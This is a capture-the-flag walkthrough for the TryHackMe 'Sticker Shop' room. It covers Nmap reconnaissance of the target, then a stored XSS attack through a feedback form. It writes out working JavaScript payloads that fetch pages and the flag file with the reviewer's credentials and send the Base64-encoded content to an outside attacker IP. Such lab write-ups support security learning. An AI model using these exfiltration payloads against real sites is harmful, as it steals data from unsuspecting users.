---
description: Can you exploit the sticker shop in order to capture the flag?
---

# The Sticker Shop

{% embed url="https://tryhackme.com/room/thestickershop" %}

## Recon

We begin with an Nmap scan and discover two open ports: port `22`, which hosts an `SSH` service, and port `8080`, running a Python `Werkzeug` server featuring a cat sticker shop.

{% code overflow="wrap" %}
```bash
┌──(kali㉿kali)-[~]
└─$ nmap -p- stickershop.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-11 11:38 IST
Nmap scan report for stickershop.thm (10.10.42.251)
Host is up (0.15s latency).
Not shown: 65506 closed tcp ports (conn-refused), 27 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 823.41 seconds
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,8080 stickershop.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-11 11:55 IST
Nmap scan report for stickershop.thm (10.10.42.251)
Host is up (0.15s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
|   256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_  256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp open  http-proxy Werkzeug/3.0.1 Python/3.8.10
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10
|_http-title: Cat Sticker Shop
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.1 Python/3.8.10
|     Date: Tue, 11 Feb 2025 06:25:12 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 1655
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>Cat Sticker Shop</title>
|     <style>
|     body {
|     font-family: Arial, sans-serif;
|     margin: 0;
|     padding: 0;
|     header {
|     background-color: #333;
|     color: #fff;
|     text-align: center;
|     padding: 10px;
|     header ul {
|     list-style: none;
|     padding: 0;
|     header li {
|     display: inline;
|     margin-right: 20px;
|     header a {
|     text-decoration: none;
|     color: #fff;
|     font-weight: bold;
|     .content {
|     padding: 20px;
|_    .product {
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=2/11%Time=67AAED49%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,726,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.1\
..................
SF:20\x20\x20\x20\x20\x20bo");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.77 seconds
```
{% endcode %}

The index page showcases various stickers, and there is also a Feedback page available.

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2Fca7TjB3uQo9arEZC8xiC%2Fimage.png?alt=media&#x26;token=f65e1010-1d16-428b-a29a-ffa73e3f05f0" alt=""><figcaption></figcaption></figure>

The Feedback page allows users to submit comments, which are later reviewed by the staff. This suggests a potential entry point for an `XSS` attack.

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2F6Y28zkf6wjsB8HoEf4jS%2Fimage.png?alt=media&#x26;token=ecf93754-8bd2-4b37-a9ba-3274099b1b2e" alt=""><figcaption></figcaption></figure>

## Exploit

The challenge requires us to retrieve the flag from `http://stickershop/flag.txt` using client-side exploitation.

Additionally, it mentions that everything is developed and hosted on the same machine, which could be useful for our attack strategy.

> Your local sticker shop has finally developed its own webpage. They do not have too much experience regarding web development, so they decided to develop and host everything on the same computer that they use for browsing the internet and looking at customer feedback. Smart move!
>
> Can you read the flag at `http://stickershop:8080/flag.txt`?

However, we are not allowed to access `http://stickershop:8080/flag.txt.`

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2F4gQVl1YT5i99hgXdyNWY%2Fimage.png?alt=media&#x26;token=440bb066-e632-4f41-80da-270ab593c8c7" alt=""><figcaption></figcaption></figure>

First, we test for basic XSS by injecting a script that sends a request to our web server. If we receive a response, we can confirm the vulnerability.

```javascript
<script src="http://10.17.15.155/test"></script>
```

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2FzFtu0RsZMkDRryKTZjmj%2Fimage.png?alt=media&#x26;token=fac95c12-0597-4722-8e9b-5ce0844a6866" alt=""><figcaption></figcaption></figure>

Since we received a response, we can now craft a payload that forces the user's browser to make a request to the target page on our behalf.

Now, we craft a JavaScript payload that will fetch the content of the root path (`/`) and exfiltrate the Base64-encoded response to our remote server. The payload uses `no-cors` mode to bypass restrictions and `credentials: 'same-origin'` to include session cookies, allowing us to capture potentially sensitive data.

```javascript
<script>
fetch("/", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => { 
    fetch('http://10.17.15.155/' + btoa(text), {mode:'no-cors'}); 
  });
</script>
```

We get a base64-encoded response back.

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2Fn9lCTw6nEbOtf3fWnGBG%2Fimage.png?alt=media&#x26;token=701ef4e2-2a83-44bc-b458-5c1302b98d9b" alt=""><figcaption></figcaption></figure>

We successfully got the index page by the user reviewing the feedback.

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2FIhMBfpX8XzZghersuqZX%2Fimage.png?alt=media&#x26;token=e18d3002-fa32-4b8c-9066-af5af47545b6" alt=""><figcaption></figcaption></figure>

We modify our JavaScript payload to specifically fetch the contents of `/flag.txt` instead of the root path. The updated script ensures that the request captures the flag file and exfiltrates it to our remote server using `Base64` encoding.

```javascript
<script>
fetch("/flag.txt", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => { 
    fetch('http://10.17.15.155/' + btoa(text), {mode:'no-cors'}); 
  });
</script>
```

After we have submitted our payload, we get a connection back to our web server.

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2FhvxfhQWcm2GknesmUQxP%2Fimage.png?alt=media&#x26;token=c0a5a690-74f3-4e18-aa46-88b06a060b4c" alt=""><figcaption></figcaption></figure>

And it is the flag.

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2FTpm7rs9rMsxFlMklYSdt%2Fimage.png?alt=media&#x26;token=8499bc30-bc56-43c2-a596-afdef08f3013" alt=""><figcaption></figcaption></figure>
